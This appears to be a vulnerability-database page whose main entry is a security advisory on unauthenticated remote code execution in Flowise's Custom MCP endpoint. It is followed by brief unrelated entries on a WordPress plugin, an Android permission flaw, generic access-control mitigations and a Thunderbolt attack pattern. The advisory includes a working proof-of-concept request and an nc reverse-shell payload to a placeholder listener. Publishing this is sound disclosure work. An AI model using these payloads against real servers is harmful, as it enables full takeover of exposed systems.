Vulnerability from github – Published: 2025-09-15 20:30 – Updated: 2025-09-15 20:30

Summary
Flowise has unsandboxed remote code execution via Custom MCP
Details

Summary

The Custom MCPs feature is designed to execute OS commands, for instance, using tools like npx to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables.

This combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server.

PoC

  1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as npx, pnpm, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker

  2. Create a new file named payload.json somewhere in your machine, with the following data:

{"inputs":{"mcpServerConfig":{"command": "touch","args": ["/tmp/yofitofi"]}},"loadMethod":"listActions"}
  1. Send the following curl request using the payload.json file created above with the following command:
curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"
  1. Observe that a new file named yofitofi is created under /tmp folder.

Similarily, we can use the same technique to gain a reverse shell using the built-in nc utility with the following JSON payload:

{"inputs":{"mcpServerConfig":{"command": "nc","args": [
"<LISTENER_IP_ADDRESS>","<LISTENER_PORT>","-e","/bin/sh"
]}},
"loadMethod":"listActions"}

Pasted image 20250420132335

Impact

Remote code execution

Mitigation

  • Consider adding additional access controls surronding sensitive functionality such as Custom MCP, e.g. only users with "Admin" roles will be able to configure new Custom MCPs within the platform.
  • Consider disabling the Custom MCP feature by default, with a clear disclaimer for end users on the implications of enabling this feature.
  • Consider running Custom MCPs within a sandboxed environment

Credit

The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.

The Kaswara Modern VC Addons plugin for WordPress is vulnerable to authorization bypass in versions up to, and including, 3.0.1 due to insufficient capability checking on various AJAX actions. This makes it possible for unauthenticated attackers to perform a wide variety of unauthorized actions such as importing data, uploading arbitrary files, deleting arbitrary files, and more.

GHSA-69FV-9J9V-QH3Q

Vulnerability from github – Published: 2025-12-08 18:30 – Updated: 2025-12-08 21:30
VLAI
Details

In isValidMediaUri of SettingsProvider.java, there is a possible cross user media read due to a missing permission check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
